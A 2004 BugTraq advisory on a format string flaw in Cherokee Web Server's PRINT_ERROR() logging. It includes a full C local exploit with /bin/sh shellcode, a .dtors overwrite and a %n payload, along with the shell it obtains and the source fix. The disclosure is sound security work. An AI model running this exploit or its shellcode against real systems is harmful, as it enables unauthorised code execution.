BugTraq
Format String in Cherokee Apr 20 2004 04:00AM
CoKi (coki nosystem com ar)


-------------------------------------------------

No System Group - Advisory #3 - 17/04/04

-------------------------------------------------

Program: Cherokee Web Server

Homepage: http://www.0x50.org

Vulnerable Versions: Cherokee 0.4.16 and prior

Risk: Low / Medium

Impact: Local Format String Vulnerability

-------------------------------------------------

- DESCRIPTION

-------------------------------------------------

Cherokee is a tiny, very fast, lightweight Web

server. It is implemented entirely in C, and has

no dependencies beyond a standard C library. It

is embeddable, extensible with plug-ins, and supports

on-the-fly configuration by reading files or strings.

More informations at: http://www.0x50.org

- DETAILS

-------------------------------------------------

Cherokee Web Server is affected by a format string

bug in the PRINT_ERROR() function to 66 lines of

common.c code:

--- common.c ---

55: void

56: PRINT_ERROR (const char *format, ...)

57: {

58: va_list arg_list;

59: CHEROKEE_TEMP(tmp, 2048);

60:

61: va_start(arg_list, format);

62: vsnprintf (tmp, tmp_size, format, arg_list);

63: va_end(arg_list);

64:

65: fprintf (stderr, "%s", tmp);

66: syslog (LOG_ERR, tmp); // The bug

67: }

--- common.c ---

We can show some parts of the stack memory by using a format string loke

this:

coki@servidor:~$ cherokee -C AAAA%08x

Can't read the configuration file: 'AAAA%08x'

coki@servidor:~$ tail -n 1 /var/log/syslog

Apr 17 15:03:25 servidor cherokee: Can't read the configuration file: 'AAAA0804b780'

coki@servidor:~$

- EXPLOIT

-------------------------------------------------

---------------- cherokee_exp.c -----------------

/* cherokee_exp.c

Cherokee Web Server Format String Vulnerability

Cherokee <= 0.4.16 local exploit (Proof of Concept)

Tested in Slackware 9.0 and Slackware 9.1.0

by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>

No System Group - http://www.nosystem.com.ar

*/

#include <stdio.h>

#include <string.h>

#define PATH "/usr/local/bin/cherokee"

#define OBJDUMP "/usr/bin/objdump"

#define GREP "/usr/bin/grep"

unsigned char shellcode[]= /* aleph1 shellcode.45b */

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"

"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"

"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"

"\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

int i, dtorsaddr;

unsigned int bal1, bal2, bal3, bal4;

char temp[512];

char buffer[1024];

char nop1[255], nop2[255];

char nop3[255], nop4[255];

int cn1, cn2, cn3, cn4;

FILE *f;

char *env[3] = {shellcode, NULL};

int bufaddr = 0xbffffffa - strlen(shellcode) - strlen("/usr/local/bin/cherokee");

/* finding .dtors address */

sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);

f = popen(temp, "r");

if(fscanf(f, " %08x", &dtorsaddr) != 1) {

pclose(f);

printf("Cannot find .dtors address\n");

exit(1);

}

pclose(f);

dtorsaddr = dtorsaddr + 4;

printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n");

printf(" by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>\n\n");

printf(" shellcode address = %.8p\n", bufaddr);

printf(" .dtors address = %.8p\n\n", dtorsaddr);

bzero(temp, sizeof(temp));

bzero(buffer, sizeof(buffer));

/* adding .dtors address */

for(i = 0; i < 4; i++) {

bzero(temp, sizeof(temp));

sprintf(temp, "%s", &dtorsaddr);

strncat(buffer, temp, 4);

dtorsaddr++;

}

/* convert buffer address location */

memset(nop1, 0, 255);

memset(nop2, 0, 255);

memset(nop3, 0, 255);

memset(nop4, 0, 255);

bal1 = (bufaddr & 0xff000000) >> 24;

bal2 = (bufaddr & 0x00ff0000) >> 16;

bal3 = (bufaddr & 0x0000ff00) >> 8;

bal4 = (bufaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 88 - 2;

cn1 = check(cn1);

cn2 = bal3 - bal4 - 2;

cn2 = check(cn2);

cn3 = bal2 - bal3 - 2;

cn3 = check(cn3);

cn4 = bal1 - bal2 - 2;

cn4 = check(cn4);

memset(nop1, '\x90', cn1);

memset(nop2, '\x90', cn2);

memset(nop3, '\x90', cn3);

memset(nop4, '\x90', cn4);

sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"

"%%08x%%08x%%08x%%08x%%08x"

"%s\xeb\x02%%n"

"%s\xeb\x02%%n"

"%s\xeb\x02%%n"

"%s\xeb\x02%%n\x90\x90\x90\x90"

,nop1, nop2, nop3, nop4);

strcat(buffer, temp);

execle(PATH, "cherokee", "-C", buffer, NULL, env);

}

int check(unsigned long addr) {

char tmp[128];

snprintf(tmp, sizeof(tmp), "%d", addr);

if(atoi(tmp) < 1)

addr = addr + 256;

return addr;

}

---------------- cherokee_exp.c -----------------

coki@servidor:~$ make cherokee_exp

coki@servidor:~$ ./cherokee_exp

Cherokee <= 0.4.16 local exploit (Proof of Concept)

by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>

shellcode address = 0xbfffffb6

.dtors address = 0x0804c590

Can't read the configuration file: '....%08x%08x%08x%

08x%08x%08x%08x%08x%08x%08x%08x......................

.....................................................

.....................................................

.................'

sh-2.05b$

This exploit does not give a root shell :(

Tested in Slackware Linux 9.0.0 and 9.1.0

- SOLUTIONS

-------------------------------------------------

Change the PRINT_ERROR() function of common.c

code:

--- common.c ---

55: void

56: PRINT_ERROR (const char *format, ...)

57: {

58: va_list arg_list;

59: CHEROKEE_TEMP(tmp, 2048);

60:

61: va_start(arg_list, format);

62: vsnprintf (tmp, tmp_size, format, arg_list);

63: va_end(arg_list);

64:

65: fprintf (stderr, "%s", tmp);

66: syslog (LOG_ERR, "%s", tmp); // It's ok

67: }

--- common.c ---

- REFERENCES

-------------------------------------------------

http://www.nosystem.com.ar/advisories/advisory-03.txt

- CREDITS

-------------------------------------------------

Discovered by CoKi <coki (at) nosystem.com (dot) ar [email concealed]>

No System Group - http://www.nosystem.com.ar

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus